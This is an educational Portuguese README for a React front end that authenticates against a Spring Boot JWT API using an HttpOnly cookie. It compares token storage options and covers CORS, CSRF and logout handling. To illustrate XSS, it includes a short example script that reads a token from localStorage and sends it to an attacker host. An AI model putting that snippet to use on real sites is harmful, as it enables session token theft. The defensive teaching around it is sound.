Projeto de referencia para integracao com API Spring Boot autenticada via JWT, usando cookie HttpOnly como estrategia de armazenamento do token.
Quando a API retorna um token JWT apos o login, o frontend precisa guarda-lo em algum lugar para envia-lo nas proximas requisicoes. Existem tres opcoes principais, com trade-offs bem diferentes.
localStorage.setItem('authToken', token)Persistencia: sobrevive ao fechamento do browser — o dado fica ate ser explicitamente removido.
Problema critico — XSS (Cross-Site Scripting):
localStorage e acessivel por qualquer JavaScript na pagina:
// Script malicioso injetado via XSS lê o token diretamente
const tokenRoubado = localStorage.getItem('authToken')
fetch('https://atacante.com/coletar?token=' + tokenRoubado)XSS e a vulnerabilidade #2 no OWASP Top 10. Qualquer biblioteca de terceiros comprometida,
campo de comentario mal sanitizado ou CDN sequestrada pode executar esse ataque.
localStorage nao oferece nenhuma barreira.
Quando usar: nunca para tokens de autenticacao.
sessionStorage.setItem('authToken', token)Persistencia: limitada a aba/guia atual. Fechar a aba apaga o dado.
Diferenca do localStorage: cada aba tem seu proprio sessionStorage isolado.
Abrir o site em outra aba exige novo login.
Problema: ainda e acessivel via JavaScript — XSS continua sendo uma ameaca.
// Funciona igualmente com sessionStorage
const tokenRoubado = sessionStorage.getItem('authToken')Quando usar: contextos educacionais e prototipos onde XSS nao e uma preocupacao real.
Melhor que localStorage pela persistencia limitada, mas nao resolve o vetor XSS.
O servidor define o cookie na resposta de login via header Set-Cookie:
Set-Cookie: authToken=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600O browser armazena e reenvia automaticamente. JavaScript nao consegue le-lo:
document.cookie // "authToken" NÃO aparece aqui — é HttpOnlyProtecao contra XSS: mesmo com script malicioso na pagina, o token e inacessivel.
Protecao contra CSRF: SameSite=Strict impede que o cookie seja enviado
em requisicoes originadas de outros dominios (ex: links de phishing).
Trade-off — logout real:
Como o JavaScript nao pode limpar o cookie, o logout precisa chamar o servidor,
que retorna Set-Cookie: authToken=; maxAge=0 (cookie vazio com expiracao no passado).
| Criterio | localStorage | sessionStorage | Cookie HttpOnly |
|---|---|---|---|
| Persistencia | Permanente | Por aba | Configuravel (maxAge) |
| Acessivel via JS | Sim | Sim | Nao |
| Protecao contra XSS | Nenhuma | Nenhuma | Alta |
| Protecao contra CSRF | N/A (header manual) | N/A (header manual) | Via SameSite |
| Compartilhado entre abas | Sim | Nao | Sim (mesmo dominio) |
| Logout via JS | removeItem() |
removeItem() |
Requer chamada ao servidor |
| Uso recomendado | Nunca para tokens | Prototipos/ensino | Producao |
// Login.jsx
const response = await api.post('/usuarios/login', { email, senha });
// O token esta no cookie HttpOnly — JS nao precisa tocá-lo.
// Guardamos apenas o nome para exibicao e controle de rota.
sessionStorage.setItem('usuario', response.data.nome);O servidor retorna Set-Cookie: authToken=eyJ...; HttpOnly; ....
O browser armazena e enviara automaticamente o cookie em todas as proximas requisicoes.
// api.js — withCredentials envia o cookie automaticamente
const api = axios.create({
baseURL: import.meta.env.VITE_ENDERECO_API ?? 'http://localhost:8080',
withCredentials: true,
});
// Nenhum interceptor de REQUEST necessario — o browser cuida do cookieSem withCredentials: true, o browser bloqueia o envio de cookies em requisicoes cross-origin.
No servidor, isso exige CORS com allowCredentials(true) e origens explicitas (nao *).
// WelcomePage.jsx
await api.post('/usuarios/logout');
// Servidor responde com: Set-Cookie: authToken=; maxAge=0
// Browser deleta o cookie.
sessionStorage.removeItem('usuario');
navigate('/');// api.js — interceptor de RESPONSE
api.interceptors.response.use(
(response) => response,
(error) => {
if (error.response?.status === 401) {
sessionStorage.removeItem('usuario');
window.location.href = '/'; // redireciona para login
}
return Promise.reject(error);
}
);Token expirado ou invalido em qualquer requisicao redireciona automaticamente para login, sem precisar tratar 401 em cada componente individualmente.
// routes.jsx
{
path: '/welcome',
element: (
<PrivateRoute>
<WelcomePage />
</PrivateRoute>
),
}// PrivateRoute.jsx
export function PrivateRoute({ children }) {
const usuario = sessionStorage.getItem('usuario');
if (!usuario) return <Navigate to="/" replace />;
return children;
}Aviso: PrivateRoute e uma protecao de UX, nao de seguranca.
Um usuario mal-intencionado pode inserir dados no sessionStorage e acessar a rota,
mas todas as chamadas de API retornarao 401 sem o cookie valido.
O controle real de acesso e sempre no servidor.
O payload do JWT e so Base64 — facil de decodificar:
// Qualquer um pode fazer isso
const payload = JSON.parse(atob(token.split('.')[1]))
// { sub: "john@doe.com", authorities: "ROLE_ADMIN", exp: ... }Usar payload.authorities para mostrar/esconder botoes e ok (UX).
Usar isso para liberar acesso a dados sensiveis e errado — o servidor deve validar.
Cookie HttpOnly protege o token — mas nao protege outros dados da pagina. Script malicioso pode:
- Enviar requisicoes autenticadas em nome do usuario (usando o cookie automaticamente)
- Ler outros itens do
sessionStorageelocalStorage - Capturar keystrokes (senhas digitadas)
Sanitize inputs, use Content Security Policy (CSP) e evite dangerouslySetInnerHTML.
Se o CORS do servidor usar Access-Control-Allow-Origin: *, o browser bloqueara
as requisicoes com withCredentials: true. O servidor precisa especificar a origem:
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Credentials: true
Cookies sao enviados automaticamente pelo browser em qualquer requisicao para o dominio. Um site malicioso poderia induzir o usuario a fazer uma requisicao nao-intencional.
SameSite=Strict (configurado no servidor) resolve isso: o cookie so e enviado
em requisicoes que tem a mesma origem que o documento atual.
Nesta implementacao, o cookie (no servidor) e o sessionStorage (no cliente) ficam em sync:
- Login: servidor cria cookie, cliente guarda nome em sessionStorage
- Logout: servidor limpa cookie, cliente limpa sessionStorage
- Expirar: cookie expira, proxima requisicao retorna 401, interceptor limpa sessionStorage
Se o usuario limpar manualmente o sessionStorage mas o cookie ainda for valido, o PrivateRoute redireciona para login. Ao fazer login novamente, o cookie antigo e substituido por um novo. Isso nao e um bug — e comportamento esperado.
// NUNCA faca isso
console.log('Token:', response.data.token)
// Logs ficam em ferramentas de debug, extensoes do browser,
// sistemas de analytics, gravacoes de sessao (Hotjar, etc.)Ao contrario do sessionStorage, cookies sao compartilhados entre abas do mesmo dominio.
Isso significa que o usuario logado em uma aba tambem esta logado em outra — comportamento esperado.
O logout em uma aba (que limpa o cookie) afeta todas as abas.
# Instalar dependencias
npm install
# Criar .env na raiz (se nao existir)
echo "VITE_ENDERECO_API=http://localhost:8080" > .env
# Iniciar o servidor de desenvolvimento
npm run devAcesse http://localhost:5173 — o Vite inicia nessa porta por padrao.
Usuario de teste: john@doe.com / 123456 (pre-cadastrado na API)
A API Spring Boot deve estar rodando em http://localhost:8080.
src/
├── components/
│ └── PrivateRoute.jsx # Protecao de rota no client side
├── pages/
│ ├── login/
│ │ ├── Login.jsx # Formulario de login + inicia sessao
│ │ └── Login.module.css
│ └── welcome/
│ ├── WelcomePage.jsx # Pagina protegida + logout
│ └── Welcome.module.css
├── provider/
│ └── api.js # Axios com withCredentials + interceptor 401
├── routes.jsx # Rotas com PrivateRoute
├── App.jsx
└── main.jsx
Projeto educacional — SPTech | React 18 + Vite + Axios + Cookie HttpOnly